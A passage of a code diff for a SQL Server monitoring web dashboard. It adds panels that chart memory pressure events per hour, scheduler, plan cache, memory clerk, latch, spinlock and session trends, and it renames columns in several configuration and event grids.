+  { key: "os_severe", label: "Operating System (severe)", color: SERIES_COLORS[3] },
+];
+
+const HOUR_MS = 3600000;
+
+/** Said wherever an hour reads as quiet: the read does not say where collection began, so a blank hour may predate it. */
+const PRESSURE_COVERAGE_CAVEAT = "No bar means no event was recorded, which for a server monitored for less than this range includes the hours before collection began.";
+
+/**
+ * The pressure events counted per hour, the way the desktop chart counts them: only samples where SQL Server or the
+ * operating system reads 2 or more are drawn, and each hour holds a count per source and severity. Every hour of the
+ * window is present, an hour with no event as 0, which the stacked-bar chart draws as no bar, as the desktop does. `events` are the read's rows (sample_time is naive UTC); the window is `{ windowStart, windowEnd }` in
+ * epoch ms. Returns `{ points, drawn }`: the hourly rows (`time` is naive-UTC ISO text) and the number of samples counted.
+ */
+export function pressureEventBuckets(events, win) {
+  const counts = new Map();
+  let drawn = 0;
+  for (const e of Array.isArray(events) ? events : []) {
+    const at = parseUtc(e && e.sample_time);
+    if (!at) continue;
+    const process = Number(e.memory_indicators_process);
+    const system = Number(e.memory_indicators_system);
+    if (!(process >= 2 || system >= 2)) continue;
+    drawn++;
+    const hour = Math.floor(at.getTime() / HOUR_MS) * HOUR_MS;
+    const row = counts.get(hour) || { sql_medium: 0, sql_severe: 0, os_medium: 0, os_severe: 0 };
+    if (process === 2) row.sql_medium++;
+    else if (process >= 3) row.sql_severe++;
+    if (system === 2) row.os_medium++;
+    else if (system >= 3) row.os_severe++;
+    counts.set(hour, row);
+  }
+  const hours = new Set(counts.keys());
+  if (win) {
+    for (let h = Math.floor(win.windowStart / HOUR_MS) * HOUR_MS; h <= win.windowEnd; h += HOUR_MS) hours.add(h);
+  }
+  const points = [...hours]
+    .sort((a, b) => a - b)
+    .map((h) => ({ time: new Date(h).toISOString().slice(0, 19), ...(counts.get(h) || { sql_medium: 0, sql_severe: 0, os_medium: 0, os_severe: 0 }) }));
+  return { points, drawn };
+}
+
+/**
+ * The instance trends get_server_trend serves as one line per field (#5117): the CPU tab's scheduler pressure and the
+ * Memory tab's plan cache. The desktop's CPU Scheduler chart plots the runnable, blocked and queued task counts under a
+ * "Task Count" axis; its Plan Cache chart plots single-use and multi-use plan cache size under "Plan Cache Size (MB)".
+ * Both are levels the read averages per bucket, so the unit is the read's own.
+ */
+const SERVER_TRENDS = {
+  cpu_scheduler: {
+    title: "CPU Scheduler",
+    metric: "cpu_scheduler",
+    unit: "tasks",
+    series: [
+      { key: "runnable_tasks", label: "Runnable Tasks" },
+      { key: "blocked_tasks", label: "Blocked Tasks" },
+      { key: "queued_requests", label: "Queued Requests" },
+    ],
+    emptyText: "No CPU scheduler samples in this window.",
+  },
+  plan_cache: {
+    title: "Plan Cache",
+    metric: "plan_cache",
+    unit: "MB",
+    series: [
+      { key: "single_use_mb", label: "Single-Use" },
+      { key: "multi_use_mb", label: "Multi-Use" },
+    ],
+    emptyText: "No plan cache samples in this window.",
+  },
+};
+
+/** A get_server_trend line panel for `kind` (a key of SERVER_TRENDS), over the page's range and its `as_of`. */
+export function serverTrendPanel(server, ctx, kind) {
+  const spec = SERVER_TRENDS[kind];
+  const { panel, body } = panelShell(spec.title + " Trend", ctx.label, 2, "get_server_trend");
+  (async () => {
+    const res = await readToolWithinKeptHistory("get_server_trend", { server, metric: spec.metric, hours: ctx.hours }, ctx && ctx.signal);
+    if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+    if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message || spec.emptyText)]);
+    const points = res.data.trend || [];
+    if (!points.length) return mount(body, [keptWindowStrip(res), emptyStrip(spec.emptyText)]);
+    /* #3653 A5: the payload's baseline discontinuities as a notice above the chart. */
+    const notes = discontinuityNotes(res.data);
+    mount(body, [
+      keptWindowStrip(res),
+      notes.length ? noticeStrip(notes.join(" ")) : null,
+      zoomableLineChart({
+        atTime: { server },
+        points,
+        xKey: "time",
+        series: spec.series.map((s, i) => ({ key: s.key, label: s.label, color: CATEGORICAL_COLORS[i % CATEGORICAL_COLORS.length] })),
+        formatValue: (v) => (Math.round(v * 100) / 100).toLocaleString(),
+        unit: spec.unit,
+        ...windowFromHours(res.keptHours || ctx.hours),
+      }, "server-trend|" + server + "|" + spec.metric, chartZoomScope(ctx.hours)),
+      typeof res.data.aggregate_note === "string" && res.data.aggregate_note ? el("div", { class: "mp-metric-note", text: res.data.aggregate_note }) : null,
+    ]);
+  })();
+  return panel;
+}
+
+/** The most clerk types get_server_trend takes in one read (its own cap), and how many the desktop checks to begin with. */
+const MAX_CLERKS_CHARTED = 10;
+const DEFAULT_CLERKS_CHECKED = 5;
+
+/**
+ * Memory Clerks trend with a clerk-type selector, the web twin of the desktop's clerk picker. The options are the clerks
+ * of the latest snapshot (get_memory_clerks, heaviest first); the first time a server is shown the heaviest five are
+ * checked, as the desktop does. The checked set and search text live in multi-picker.js's module state keyed by server (the first show and the Top clerks button both check the heaviest five),
+ * so the 60 s rebuild keeps them.
+ */
+export function memoryClerksTrendPanel(server, ctx) {
+  const { panel, body } = panelShell("Memory Clerks Trend", ctx.label + ", with a trend for the clerks you check", 2, "get_memory_clerks");
+  (async () => {
+    const res = await readToolWithinKeptHistory("get_memory_clerks", { server }, ctx && ctx.signal);
+    if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+    if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message)]);
+    const options = (res.data.clerks || []).map((c) => c.clerk_type);
+    if (!options.length) return mount(body, emptyStrip("No memory clerks in the latest snapshot — the clerk collector may not have run yet."));
+
+    const key = "clerks|" + server;
+    const chartSlot = el("div", {}, [loadingStrip()]);
+    const picker = multiPicker({
+      key,
+      label: "Clerks",
+      options,
+      max: MAX_CLERKS_CHARTED,
+      noun: "clerk",
+      defaultsLabel: "Top clerks",
+      defaults: (o) => o.slice(0, DEFAULT_CLERKS_CHECKED),
+      onChange: (checked) => drawClerkTrends(chartSlot, server, ctx, checked),
+    });
+    mount(body, [picker.node, chartSlot]);
+    drawClerkTrends(chartSlot, server, ctx, picker.checked());
+    picker.restoreFocus();
+  })();
+  return panel;
+}
+
+/* The newest clerk draw's AbortController per server: a new draw aborts the previous one's read. */
+const clerkDraws = new Map();
+
+export async function drawClerkTrends(slot, server, ctx, checked) {
+  const clerkTypes = checked.slice(0, MAX_CLERKS_CHARTED);
+  const previous = clerkDraws.get(server);
+  if (previous) previous.abort();
+  const mine = new AbortController();
+  clerkDraws.set(server, mine);
+  if (!clerkTypes.length) {
+    mount(slot, emptyStrip("Check at least one clerk to chart its trend."));
+    return;
+  }
+  mount(slot, loadingStrip());
+  const signal = ctx && ctx.signal && typeof AbortSignal !== "undefined" && AbortSignal.any ? AbortSignal.any([mine.signal, ctx.signal]) : mine.signal;
+  const trend = await readToolWithinKeptHistory(
+    "get_server_trend",
+    { server, metric: "memory_clerks", hours: ctx.hours, clerk_types: clerkTypes.join(",") },
+    signal
+  );
+  if (clerkDraws.get(server) !== mine || mine.signal.aborted) return;
+
+  if (trend.kind === "error") return mount(slot, readErrorStrip(trend.message));
+  const missingOf = (data) => (data && Array.isArray(data.missing_clerk_types) ? data.missing_clerk_types : []);
+  const missingStrip = (data) => (missingOf(data).length ? noticeStrip("No samples in this window for: " + missingOf(data).join(", ") + ".") : null);
+  if (trend.kind === "empty") {
+    /* The empty envelope carries its lists under hints; the server's sentence points at them as JSON paths a
+       reader cannot open, so they are shown as text. */
+    const hints = trend.hints || {};
+    const heaviest = Array.isArray(hints.heaviest_clerk_types) ? hints.heaviest_clerk_types : [];
+    return mount(slot, [
+      keptWindowStrip(trend),
+      missingStrip(hints),
+      emptyStrip(trend.message || "No clerk samples in this window."),
+      heaviest.length ? el("div", { class: "mp-metric-note", text: "Heaviest clerks in this window: " + heaviest.join(", ") + "." }) : null,
+    ]);
+  }
+
+  const drawn = (trend.data.series || []).map((s, i) => ({
+    key: "c" + i,
+    label: s.clerk_type,
+    rows: s.trend || [],
+    color: CATEGORICAL_COLORS[i % CATEGORICAL_COLORS.length],
+  }));
+  if (!drawn.length) return mount(slot, [keptWindowStrip(trend), missingStrip(trend.data), emptyStrip("No clerk samples in this window.")]);
+  /* #3653 A5: the payload's baseline discontinuities as a notice above the chart. */
+  const notes = discontinuityNotes(trend.data);
+  mount(slot, [
+    keptWindowStrip(trend),
+    notes.length ? noticeStrip(notes.join(" ")) : null,
+    missingStrip(trend.data),
+    zoomableLineChart({
+      atTime: { server },
+      points: mergeSeriesRows(drawn, "time", "memory_mb"),
+      xKey: "time",
+      series: drawn.map((d) => ({ key: d.key, label: d.label, color: d.color })),
+      formatValue: (v) => (Math.round(v * 100) / 100).toLocaleString(),
+      unit: "MB",
+      ...windowFromHours(trend.keptHours || ctx.hours),
+    }, "clerk-trend|" + server, chartZoomScope(ctx.hours)),
+    typeof trend.data.aggregate_note === "string" && trend.data.aggregate_note ? el("div", { class: "mp-metric-note", text: trend.data.aggregate_note }) : null,
+  ]);
+}
+
+/**
+ * The latch and spinlock trends get_server_trend serves as one line per name (#5170). The options are the classes of the
+ * table above (heaviest first, read with the same window); the heaviest five are checked the first time, as the read's
+ * own default does. The checked set and search text live in multi-picker.js's module state keyed by kind and server, so
+ * the 60 s rebuild keeps them.
+ */
+const NAMED_TRENDS = {
+  latch: {
+    title: "Latch Trend",
+    optionsTool: "get_latch_stats",
+    rowsKey: "latches",
+    nameKey: "latch_class",
+    seriesKey: "latch_class",
+    unit: "ms/s",
+    noun: "latch class",
+    label: "Latch classes",
+    note: "Wait ms/s, one line per checked latch class.",
+    noOptions: "No latch classes accumulated waits in this window.",
+  },
+  spinlock: {
+    title: "Spinlock Trend",
+    optionsTool: "get_spinlock_stats",
+    rowsKey: "spinlocks",
+    nameKey: "spinlock_name",
+    seriesKey: "spinlock_name",
+    unit: "collisions/s",
+    noun: "spinlock",
+    label: "Spinlocks",
+    note: "Collisions/s, one line per checked spinlock.",
+    noOptions: "No spinlocks recorded collisions in this window.",
+  },
+};
+const MAX_NAMES_CHARTED = 10;
+const DEFAULT_NAMES_CHECKED = 5;
+
+export function namedTrendPanel(server, ctx, kind) {
+  const spec = NAMED_TRENDS[kind];
+  const { panel, body } = panelShell(spec.title, ctx.label + ", with a trend for the " + spec.noun + "s you check", 2, spec.optionsTool);
+  (async () => {
+    const res = await readToolWithinKeptHistory(spec.optionsTool, { server, hours: ctx.hours, top: MAX_NAMES_CHARTED }, ctx && ctx.signal);
+    if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+    if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message || spec.noOptions)]);
+    const options = (res.data[spec.rowsKey] || []).map((r) => r[spec.nameKey]).filter(Boolean);
+    if (!options.length) return mount(body, emptyStrip(spec.noOptions));
+
+    const chartSlot = el("div", {}, [loadingStrip()]);
+    const picker = multiPicker({
+      key: kind + "|" + server,
+      label: spec.label,
+      options,
+      max: MAX_NAMES_CHARTED,
+      noun: spec.noun,
+      defaultsLabel: "Top " + spec.noun + "s",
+      defaults: (o) => o.slice(0, DEFAULT_NAMES_CHECKED),
+      onChange: (checked) => drawNamedTrends(chartSlot, server, ctx, kind, checked),
+    });
+    mount(body, [picker.node, chartSlot]);
+    drawNamedTrends(chartSlot, server, ctx, kind, picker.checked());
+    picker.restoreFocus();
+  })();
+  return panel;
+}
+
+/* The newest named-trend draw's AbortController per kind and server: a new draw aborts the previous one's read. */
+const namedDraws = new Map();
+
+export async function drawNamedTrends(slot, server, ctx, kind, checked) {
+  const spec = NAMED_TRENDS[kind];
+  const names = checked.slice(0, MAX_NAMES_CHARTED);
+  const drawKey = kind + "|" + server;
+  const previous = namedDraws.get(drawKey);
+  if (previous) previous.abort();
+  const mine = new AbortController();
+  namedDraws.set(drawKey, mine);
+  if (!names.length) {
+    mount(slot, emptyStrip("Check at least one " + spec.noun + " to chart its trend."));
+    return;
+  }
+  mount(slot, loadingStrip());
+  const signal = ctx && ctx.signal && typeof AbortSignal !== "undefined" && AbortSignal.any ? AbortSignal.any([mine.signal, ctx.signal]) : mine.signal;
+  const trend = await readToolWithinKeptHistory("get_server_trend", { server, metric: kind, hours: ctx.hours, names: names.join(",") }, signal);
+  if (namedDraws.get(drawKey) !== mine || mine.signal.aborted) return;
+
+  if (trend.kind === "error") return mount(slot, readErrorStrip(trend.message));
+  /* The read names the series it found no samples for under missing_names at the top level on a partial match and
+     under hints on an empty answer. */
+  const missingOf = (data) => {
+    const top = data && Array.isArray(data.missing_names) ? data.missing_names : [];
+    const hinted = data && data.hints && Array.isArray(data.hints.missing_names) ? data.hints.missing_names : [];
+    return [...new Set([...top, ...hinted])];
+  };
+  const missingStrip = (data) => (missingOf(data).length ? noticeStrip("No samples in this window for: " + missingOf(data).join(", ") + ".") : null);
+  if (trend.kind === "empty") {
+    return mount(slot, [keptWindowStrip(trend), missingStrip(trend.hints || {}), emptyStrip(trend.message || "No " + spec.noun + " samples in this window.")]);
+  }
+
+  const drawn = (trend.data.series || []).map((s, i) => ({
+    key: "n" + i,
+    label: s[spec.seriesKey],
+    rows: s.trend || [],
+    color: CATEGORICAL_COLORS[i % CATEGORICAL_COLORS.length],
+  }));
+  if (!drawn.length) return mount(slot, [keptWindowStrip(trend), missingStrip(trend.data), emptyStrip("No " + spec.noun + " samples in this window.")]);
+  /* #3653 A5: the payload's baseline discontinuities as a notice above the chart. */
+  const notes = discontinuityNotes(trend.data);
+  mount(slot, [
+    keptWindowStrip(trend),
+    notes.length ? noticeStrip(notes.join(" ")) : null,
+    missingStrip(trend.data),
+    zoomableLineChart({
+      atTime: { server },
+      points: mergeSeriesRows(drawn, "time", kind === "latch" ? "wait_time_ms_per_second" : "collisions_per_second"),
+      xKey: "time",
+      series: drawn.map((d) => ({ key: d.key, label: d.label, color: d.color })),
+      formatValue: (v) => (Math.round(v * 100) / 100).toLocaleString(),
+      unit: spec.unit,
+      ...windowFromHours(trend.keptHours || ctx.hours),
+    }, kind + "-trend|" + server, chartZoomScope(ctx.hours)),
+    el("div", { class: "mp-metric-note", text: spec.note }),
+    typeof trend.data.aggregate_note === "string" && trend.data.aggregate_note ? el("div", { class: "mp-metric-note", text: trend.data.aggregate_note }) : null,
+  ]);
+}
+
+/** The session counts the Activity tab charts; the read also carries databases_with_connections and the top application and host. */
+const SESSION_TREND_SERIES = [
+  { key: "total_sessions", label: "Total" },
+  { key: "running_sessions", label: "Running" },
+  { key: "sleeping_sessions", label: "Sleeping" },
+  { key: "background_sessions", label: "Background" },
+  { key: "dormant_sessions", label: "Dormant" },
+  { key: "idle_sessions_over_30min", label: "Idle over 30 min" },
+  { key: "sessions_waiting_for_memory", label: "Waiting for memory" },
+];
+
+/** Session Stats trend: the server-wide session counts per bucket, with the newest bucket's top application and host as text. */
+export function sessionStatsTrendPanel(server, ctx) {
+  const { panel, body } = panelShell("Session Stats Trend", ctx.label, 2, "get_server_trend");
+  (async () => {
+    const res = await readToolWithinKeptHistory("get_server_trend", { server, metric: "session_stats", hours: ctx.hours }, ctx && ctx.signal);
+    if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+    if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message || "No session samples in this window.")]);
+    const points = res.data.trend || [];
+    if (!points.length) return mount(body, [keptWindowStrip(res), emptyStrip("No session samples in this window.")]);
+    /* #3653 A5: the payload's baseline discontinuities as a notice above the chart. */
+    const notes = discontinuityNotes(res.data);
+    const newest = points[points.length - 1];
+    const top = [];
+    if (newest.top_application_name) top.push("application " + newest.top_application_name + " (" + newest.top_application_connections + ")");
+    if (newest.top_host_name) top.push("host " + newest.top_host_name + " (" + newest.top_host_connections + ")");
+    mount(body, [
+      keptWindowStrip(res),
+      notes.length ? noticeStrip(notes.join(" ")) : null,
+      zoomableLineChart({
+        atTime: { server },
+        points,
+        xKey: "time",
+        series: SESSION_TREND_SERIES.map((s, i) => ({ key: s.key, label: s.label, color: CATEGORICAL_COLORS[i % CATEGORICAL_COLORS.length] })),
+        formatValue: (v) => (Math.round(v * 100) / 100).toLocaleString(),
+        unit: "sessions",
+        ...windowFromHours(res.keptHours || ctx.hours),
+      }, "server-trend|" + server + "|session_stats", chartZoomScope(ctx.hours)),
+      top.length ? el("div", { class: "mp-metric-note", text: "Top in the newest bucket: " + top.join("; ") + "." }) : null,
+      typeof res.data.aggregate_note === "string" && res.data.aggregate_note ? el("div", { class: "mp-metric-note", text: res.data.aggregate_note }) : null,
+    ]);
+  })();
+  return panel;
+}
+
+/**
+ * The Memory tab's pressure events: an hourly count chart over the read's rows and the rows themselves, from ONE
+ * fetch. The read returns every sample in the window (it has no row cap), so the counts are complete for what the
+ * store holds. It does not say where collection began, so the notice says that a 0 hour is an hour with no event
+ * recorded, which on a server monitored for less than the range includes the hours before collection started.
+ */
+export function memoryPressurePanels(server, ctx) {
+  const chart = panelShell("Memory Pressure Events per Hour", ctx.label, 2, "get_memory_pressure_events");
+  const grid = panelShell("Memory Pressure Events", ctx.label, 1, "get_memory_pressure_events");
+  (async () => {
+    const res = await readToolWithinKeptHistory("get_memory_pressure_events", { server, hours: ctx.hours });
+    if (res.kind === "error") {
+      mount(chart.body, readErrorStrip(res.message));
+      return mount(grid.body, readErrorStrip(res.message));
+    }
+    const empty = "No memory pressure events in this window — the healthy state for this read. " + PRESSURE_COVERAGE_CAVEAT;
+    if (res.kind === "empty") {
+      mount(chart.body, [keptWindowStrip(res), emptyStrip(empty)]);
+      return mount(grid.body, [keptWindowStrip(res), windowFloorStrip(res.data, { viz: "table" }), emptyStrip(res.message)]);
+    }
+    renderInto(chart.body, () => {
+      const hours = res.keptHours || ctx.hours;
+      const { points, drawn } = pressureEventBuckets(res.data.events, windowFromHours(hours));
+      if (!drawn) return [keptWindowStrip(res), emptyStrip("No sample in this window reached medium pressure (an indicator of 2 or more); the table beside this lists every sample the collector stored. " + PRESSURE_COVERAGE_CAVEAT)];
+      const lines = PRESSURE_LINES.filter((l) => points.some((p) => p[l.key] > 0));
+      return [
+        keptWindowStrip(res),
+        noticeStrip(
+          "Samples where an indicator reads 2 or more, counted per hour as stacked bars; an hour with none draws no bar. " + PRESSURE_COVERAGE_CAVEAT
+        ),
+        zoomableLineChart({
+          atTime: { server },
+          points,
+          xKey: "time",
+          series: lines,
+          formatValue: (v) => String(Math.round(v)),
+          integerTicks: true,
+          mode: "stacked-bar",
+          unit: "events",
+          ...windowFromHours(hours),
+        }, "memory-pressure-events", chartZoomScope(ctx.hours)),
+      ];
+    });
+    renderInto(grid.body, () => [
+      keptWindowStrip(res),
+      windowFloorStrip(res.data, { viz: "table" }),
+      VIZ.table(res.data, { rowsKey: "events", columns: PRESSURE_COLUMNS, emptyText: empty }),
+    ]);
+  })();
+  return [chart.panel, grid.panel];
+}
+
 const CACHE_TYPE_COLUMNS = [
   { key: "cache_type", label: "Cache" },
   { key: "object_type", label: "Object type" },
@@ -3146,24 +4400,65 @@ const SERVER_CONFIG_COLUMNS = [
   { key: "is_advanced", label: "Advanced", format: "bool" },
 ];
 
+/* The WPF Database Configuration grid's columns in its order and wording, less its per-row Collected column:
+   the read stamps one captured_at on the whole snapshot, so the panel subtitle carries it instead. */
 const DB_CONFIG_COLUMNS = [
   { key: "database_name", label: "Database" },
   { key: "state", label: "State" },
-  { key: "compatibility_level", label: "Compat", format: "int" },
-  { key: "recovery_model", label: "Recovery" },
+  { key: "compatibility_level", label: "Compat Level", format: "int" },
+  { key: "collation", label: "Collation" },
+  { key: "recovery_model", label: "Recovery Model" },
+  { key: "read_only", label: "Read Only", format: "bool" },
   { key: "rcsi", label: "RCSI", format: "bool" },
-  { key: "snapshot_isolation", label: "SI", format: "bool" },
-  { key: "auto_close", label: "Auto close", format: "bool" },
-  { key: "auto_shrink", label: "Auto shrink", format: "bool" },
-  { key: "auto_create_stats", label: "Auto create stats", format: "bool" },
-  { key: "auto_update_stats", label: "Auto update stats", format: "bool" },
-  { key: "query_store", label: "Query Store" },
-  { key: "page_verify", label: "Page verify" },
+  { key: "snapshot_isolation", label: "Snapshot Isolation" },
+  { key: "auto_create_stats", label: "Auto Create Stats", format: "bool" },
+  { key: "auto_update_stats", label: "Auto Update Stats", format: "bool" },
+  { key: "auto_update_stats_async", label: "Async Stats Update", format: "bool" },
+  { key: "parameterization_forced", label: "Forced Parameterization", format: "bool" },
+  { key: "query_store", label: "Query Store", format: "bool" },
+  { key: "encrypted", label: "Encrypted", format: "bool" },
+  { key: "trustworthy", label: "Trustworthy", format: "bool" },
+  { key: "db_chaining", label: "DB Chaining", format: "bool" },
+  { key: "broker_enabled", label: "Broker", format: "bool" },
+  { key: "cdc_enabled", label: "CDC", format: "bool" },
+  { key: "mixed_page_allocation", label: "Mixed Pages", format: "bool" },
+  { key: "log_reuse_wait", label: "Log Reuse Wait" },
+  { key: "auto_close", label: "Auto Close", format: "bool" },
+  { key: "auto_shrink", label: "Auto Shrink", format: "bool" },
+  { key: "page_verify", label: "Page Verify" },
+  { key: "target_recovery_time_seconds", label: "Target Recovery (s)", format: "int" },
+  { key: "delayed_durability", label: "Delayed Durability" },
   { key: "accelerated_database_recovery", label: "ADR", format: "bool" },
-  { key: "optimized_locking", label: "Optimized locking", format: "bool" },
-  { key: "log_reuse_wait", label: "Log reuse wait" },
+  { key: "memory_optimized", label: "Memory Optimized", format: "bool" },
+  { key: "optimized_locking", label: "Optimized Locking", format: "bool" },
 ];
 
+/* The WPF Scoped Configuration grid: one row per database setting; Collected is the snapshot's captured_at. */
+const SCOPED_CONFIG_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "name", label: "Setting" },
+  { key: "value", label: "Value" },
+  { key: "value_for_secondary", label: "Value for Secondary" },
+  { key: "captured_at", label: "Collected", format: "time" },
+];
+
+/* The scoped-configuration read groups settings under each database; the grid wants one row per setting. The
+   rows live in the panel's closure, not module state, so the 60 s repaint rebuilds them from the read. */
+function scopedConfigPanel(server) {
+  const { panel, body } = panelShell("Database Scoped Configuration", "sys.database_scoped_configurations, newest connect-time snapshot", 2, "get_database_scoped_config");
+  (async () => {
+    const res = await readTool("get_database_scoped_config", { server });
+    if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+    if (res.kind === "empty") return mount(body, emptyStrip(res.message));
+    const rows = [];
+    for (const db of res.data.databases || [])
+      for (const st of db.settings || [])
+        rows.push({ database_name: db.database_name, ...st, captured_at: res.data.captured_at });
+    mount(body, VIZ.table({ rows }, { rowsKey: "rows", columns: SCOPED_CONFIG_COLUMNS, emptyText: dbFilteredEmptyText("get_database_scoped_config", "No database-scoped configuration snapshot yet.") }));
+  })();
+  return panel;
+}
+
 const QS_HEALTH_COLUMNS = [
   { key: "database_name", label: "Database" },
   { key: "actual_state", label: "Actual" },
@@ -3224,7 +4519,7 @@ const TRACE_FLAG_CHANGE_COLUMNS = [
 ];
 
 const APPLICATION_COLUMNS = [
-  { key: "program_name", label: "Application" },
+  { key: "program_name", label: "App" },
   { key: "connections", label: "Connections", format: "int" },
   { key: "running", label: "Running", format: "int" },
   { key: "sleeping", label: "Sleeping", format: "int" },
@@ -3244,6 +4539,25 @@ const JOB_COLUMNS = [
   { key: "successful_run_count", label: "Successes", format: "int" },
 ];
 
+/* The Job History grid on the Activity tab: the cross-server page's columns less Server, since the tab is one server's. */
+const JOB_HISTORY_COLUMNS = [
+  { key: "run_time", label: "Run Time", format: "time" },
+  { key: "job_name", label: "Job" },
+  { key: "category", label: "Category" },
+  { key: "step", label: "Step" },
+  { key: "status", label: "Status" },
+  { key: "duration_formatted", label: "Duration", sortValue: (r) => r.duration_seconds },
+  { key: "retries", label: "Retries", format: "int" },
+  { key: "last_success", label: "Last Success", format: "time" },
+  { key: "message", label: "Message", wrap: true, render: jobMessageCell },
+];
+
+/* The same squeeze as the Job History page's Message column (W2): a readable width, the first 3 lines, and the whole text on hover. */
+function jobMessageCell(r) {
+  const text = r && r.message != null ? String(r.message) : "";
+  return el("div", { class: "jh-message", title: text || null, text });
+}
+
 const PERFMON_COLUMNS = [
   { key: "counter_name", label: "Counter" },
   { key: "instance_name", label: "Instance" },
@@ -3293,101 +4607,170 @@ const HEALTH_ENTRY_COLUMNS = [
 ];
 
 const SEVERE_ERROR_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
-  { key: "error_number", label: "Error", format: "int" },
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "error_number", label: "Error #", format: "int" },
   { key: "severity", label: "Severity", format: "int" },
   { key: "state", label: "State", format: "int" },
   { key: "database_name", label: "Database" },
+  { key: "database_id", label: "DB ID", format: "int" },
   { key: "message", label: "Message", wrap: true },
 ];
 
 const SCHEDULER_ISSUE_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
-  { key: "scheduler_id", label: "Scheduler", format: "int" },
-  { key: "cpu_id", label: "CPU", format: "int" },
-  { key: "status", label: "Status" },
-  { key: "is_online", label: "Online", format: "bool" },
-  { key: "is_runnable", label: "Runnable", format: "bool" },
-  { key: "non_yielding_time_ms", label: "Non-yielding", format: "ms" },
-  { key: "thread_quantum_ms", label: "Quantum", format: "ms" },
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "sql_cpu_utilization", label: "SQL CPU %", format: "int" },
+  { key: "other_process_cpu", label: "Other-Process CPU %", format: "int" },
+  { key: "system_idle", label: "Idle %", format: "int" },
+  { key: "memory_utilization", label: "Memory %", format: "int" },
+  { key: "page_faults", label: "Page Faults", format: "int" },
+  { key: "working_set_delta_mb", label: "Working Set Δ MB", format: "num1" },
 ];
 
 const IO_ISSUE_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
+  { key: "event_time", label: "Event Time", format: "time" },
   { key: "state", label: "State" },
-  { key: "io_latch_timeouts", label: "Latch timeouts", format: "int" },
-  { key: "interval_long_ios", label: "Long I/Os (interval)", format: "int" },
-  { key: "total_long_ios", label: "Long I/Os (total)", format: "int" },
-  { key: "longest_pending_requests_duration_ms", label: "Longest pending", format: "ms" },
-  { key: "longest_pending_requests_file_path", label: "File", wrap: true },
+  { key: "io_latch_timeouts", label: "Latch Timeouts", format: "int" },
+  { key: "interval_long_ios", label: "Interval Long IOs", format: "int" },
+  { key: "total_long_ios", label: "Total Long IOs", format: "int" },
+  { key: "longest_pending_requests_duration_ms", label: "Pending Duration ms", format: "ms" },
+  { key: "longest_pending_requests_file_path", label: "File Path", wrap: true },
 ];
 
 const CPU_TASK_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
+  { key: "event_time", label: "Event Time", format: "time" },
   { key: "state", label: "State" },
-  { key: "max_workers", label: "Max workers", format: "int" },
-  { key: "workers_created", label: "Created", format: "int" },
-  { key: "workers_idle", label: "Idle", format: "int" },
-  { key: "pending_tasks", label: "Pending", format: "int" },
-  { key: "oldest_pending_task_waiting_time", label: "Oldest pending", format: "int" },
-  { key: "tasks_completed_within_interval", label: "Completed", format: "int" },
-  { key: "has_deadlocked_schedulers_occurred", label: "Deadlocked scheds", format: "bool" },
+  { key: "max_workers", label: "Max Workers", format: "int" },
+  { key: "workers_created", label: "Workers Created", format: "int" },
+  { key: "workers_idle", label: "Workers Idle", format: "int" },
+  { key: "tasks_completed_within_interval", label: "Tasks Completed", format: "int" },
+  { key: "pending_tasks", label: "Pending Tasks", format: "int" },
+  { key: "oldest_pending_task_waiting_time", label: "Oldest Pending ms", format: "int" },
+  { key: "has_unresolvable_deadlock_occurred", label: "Unresolvable DL", format: "bool" },
+  { key: "has_deadlocked_schedulers_occurred", label: "Sched Deadlock", format: "bool" },
   { key: "did_blocking_occur", label: "Blocking", format: "bool" },
 ];
 
+/* The desktop grid's 32 columns in its order. */
 const MEMORY_CONDITION_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
-  { key: "last_notification", label: "Notification" },
-  { key: "out_of_memory_exceptions", label: "OOM exceptions", format: "int" },
-  { key: "available_physical_memory_gb", label: "Available", format: "num1" },
-  { key: "working_set_gb", label: "Working set", format: "num1" },
-  { key: "vm_committed_gb", label: "VM committed", format: "num1" },
-  { key: "target_committed_gb", label: "Target committed", format: "num1" },
-  { key: "current_committed_gb", label: "Current committed", format: "num1" },
-  { key: "system_physical_memory_low", label: "System low", format: "int" },
-  { key: "process_physical_memory_low", label: "Process low", format: "int" },
-  { key: "last_oom_factor", label: "Last OOM factor" },
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "last_notification", label: "Last Notification" },
+  { key: "name", label: "Report" },
+  { key: "out_of_memory_exceptions", label: "OOM Exceptions", format: "int" },
+  { key: "is_any_pool_out_of_memory", label: "Pool OOM", format: "bool" },
+  { key: "process_out_of_memory_period", label: "OOM Period", format: "int" },
+  { key: "available_physical_memory_gb", label: "Avail Phys GB", format: "num1", group: "Process memory" },
+  { key: "available_virtual_memory_gb", label: "Avail Virt GB", format: "num1", group: "Process memory" },
+  { key: "available_paging_file_gb", label: "Avail Paging GB", format: "num1", group: "Process memory" },
+  { key: "working_set_gb", label: "Working Set GB", format: "num1", group: "Process memory" },
+  { key: "percent_of_committed_memory_in_ws", label: "% Committed in WS", format: "int", group: "Process memory" },
+  { key: "page_faults", label: "Page Faults", format: "int", group: "Process memory" },
+  { key: "system_physical_memory_high", label: "Sys Phys High", format: "int", group: "Pressure flags" },
+  { key: "system_physical_memory_low", label: "Sys Phys Low", format: "int", group: "Pressure flags" },
+  { key: "process_physical_memory_low", label: "Proc Phys Low", format: "int", group: "Pressure flags" },
+  { key: "process_virtual_memory_low", label: "Proc Virt Low", format: "int", group: "Pressure flags" },
+  { key: "vm_reserved_gb", label: "VM Reserved GB", format: "num1", group: "Allocation detail" },
+  { key: "vm_committed_gb", label: "VM Committed GB", format: "num1", group: "Allocation detail" },
+  { key: "locked_pages_allocated", label: "Locked Pages", format: "int", group: "Allocation detail" },
